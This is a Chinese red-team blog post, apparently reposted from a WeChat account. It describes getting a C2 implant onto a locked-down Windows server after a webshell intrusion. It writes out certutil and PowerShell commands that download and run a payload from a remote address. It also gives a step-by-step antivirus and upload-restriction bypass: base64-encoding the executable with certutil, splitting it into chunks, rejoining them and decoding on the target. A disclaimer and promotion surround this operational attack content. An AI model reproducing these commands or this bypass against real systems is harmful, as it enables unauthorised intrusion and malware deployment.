苛刻条件下,C2上传执行骚姿势
2023-2-27 22:2:33 Author: Z2O安全攻防(查看原文) 阅读量:34 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。

最近团队师傅找到我,想要让我帮忙提权一个站点,正好用上了这个骚操作,看网上好像都没有人记录这个手法,这边就浅浅记录一下,希望能帮助到屏幕前面的你。

通过某供应商服务系统的文件任意上传1day,上传了一个哥斯拉(Godzilla)的Asp马,并成功连接上了WebShell,但是权限很低很低:

文件上传骚姿势-情况分析.png
  • • WebShell连接方式:直接连接IP:端口的,中间不可能有WAF存在(有些人真的扯)

  • • 目标系统:Microsoft Windows Server 2016 Datacenter

  • • whoami:iis apppool\*****scm4

  • • 文件管理情况:WebShell只能上传写入TXT和图片类型文件,且大文件无法上传、移动和删除 (注意!!!服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)

  • • 命令使用情况:无法使用PowerShell和其他高危指令

  • • 杀软情况:Microsoft Security Essentials(MsMpEng.exe)/火绒(usysdiag.exe)/Microsoft Internet Security(MSASCui.exe

  • • 网络连接情况:目标系统对外只能访问白名单URL,不在白名单没法访问

helloworld-1.png

我尝试通过WebShell更换目录上传EXE,甚至上传一个HelloWorld的EXE文件,都无法上传,这个情况我也是第一次碰到,后面要好好再分析一下原因。

helloworld-2.png

通常来说,在红蓝攻防中Web打点成功后,一般会上传C2并上线清理入侵痕迹,然后再去搜索敏感文件以及对内网资产进行探查。

上传C2到服务器一般有以下操作(针对Win):

  1. 1. 通过WebShell上传C2文件并执行

  2. 2. 通过 Certutil 远程下载C2文件并执行

  3. 3. 通过 PowerShell 远程下载C2文件并执行

通过 Certutil 远程下载C2文件并执行

certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数

通过 PowerShell 远程下载C2文件并执行

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数

但我们目前的情况,虽然Web打点成功了,但是没办法写入或者下载C2进行上线(测试过了,几种文件远程下载的指令都被杀软拦截或者被系统屏蔽了),WebShell也没办法上传C2可执行文件 (服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)

这种情况,上线C2都基本不可能了,更别说提权和内网渗透了

综上所述,这个权限已经是很低很低了,但不慌,我们看看有什么办法能突破

首先我们先要了解一个Windows系统的自带工具:Certutil

certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。

微软官方是这样对它解释的:

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。
您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。

但是此合法Windows服务,现已被广泛滥用于恶意用途

很多人只知道可以通过 Certutil 进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)

那我就通过本次实战案例,给大家演示一下整个ByPass过程:

3.1 加密C2可执行文件

首先,准备好C2可执行文件,通过 Certutil 进行加密导出

Certutil -encode C2可执行文件名.exe out.txt
加密导出.png

可以打开导出的TXT,看到文件有如下特征:

加密导出特征.png
-----BEGIN CERTIFICATE-----
加密后的内容
-----END CERTIFICATE-----

3.2 切割TXT文件上传并拼接、解密

因为上面说了,太大的文件没办法通过WebShell上传写入,于是让我们测试一下极限:

先试试2000行能否写入:

测试写入保存成功.png

2000行的数据写入是没问题的,那3000行呢?

测试写入保存失败.png

看,保存失败了,所以我们要将TXT切割后上传再拼接

随便去网上下载一个TXT切割器,如下:

TXT分割.png

好机会,切割出67个TXT,在服务器上新建一个文件夹,全部上传上去:

上传TXT.png

再使用 copy 命令进行拼接:

copy 1.txt + 2.txt + 3.txt + 4.txt + 5.txt + 6.txt + 7.txt + 8.txt + 9.txt + 10.txt out10.txt  //out10.txt:合并1~10的前十个文件
copy 11.txt + 12.txt + 13.txt + 14.txt + 15.txt + 16.txt + 17.txt + 18.txt + 19.txt + 20.txt out20.txt //out20.txt:合并11~20的前十个文件
//如此往复,按照10个每组合并完成

注意:这里不能用通配符(*.txt)进行 copy ,因为这样会打乱文件顺序,就解密不了了

因为怕出错,我每10个文件 copy 一下,然后可以生成以下文件:

copy合并第一次.png

确认无误后,再用 copy 命令再合并一次:

copy out10.txt + out20.txt + out30.txt + out40.txt + out50.txt + out60.txt + out67.txt output.txt //合并总的文件

最后输出 output.txt 用 Certutil 进行解密操作即可:

Certutil -decode output.txt C2可执行文件名.exe
解密导出.png

3.3 执行C2文件上线机器

上面已经成功将C2可执行文件解密出来了,然后执行上线即可:

成功上线-1.png
成功上线-2.png

很多时候,虽然看似“山穷水尽疑无路”,但仔细钻研,还是能“柳暗花明又一村”,有时候换个思路,可能就可以突破目前的困境。

在后渗透过程中, Certutil 虽然可以进行远程下载文件(但会被杀软拦截),但它还能加密和解密本地文件(不会报毒,可以用来ByPassAV),这种思路在后渗透阶段还是值得学习和深入拓展的

在本次实战情况下,面对苛刻的服务器条件,虽然没搞明白是如何做到让我无法通过WebShell上传EXE的,但是通过 Certutil 的加密解密机制,还是成功写入了C2可执行文件并上线提权,这不妨也是一种收获。

本文转自 https://blog.zgsec.cn/index.php/archives/158/

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247492483&idx=1&sn=1fa0efcdeffb451b7ae4c1548cafb4a5&chksm=ceab08c3f9dc81d5d816510495c6f9933db7694b3ee16b96f69e17faf6fff7a70b4aa3d53b87#rd
如有侵权请联系:admin#unsafe.sh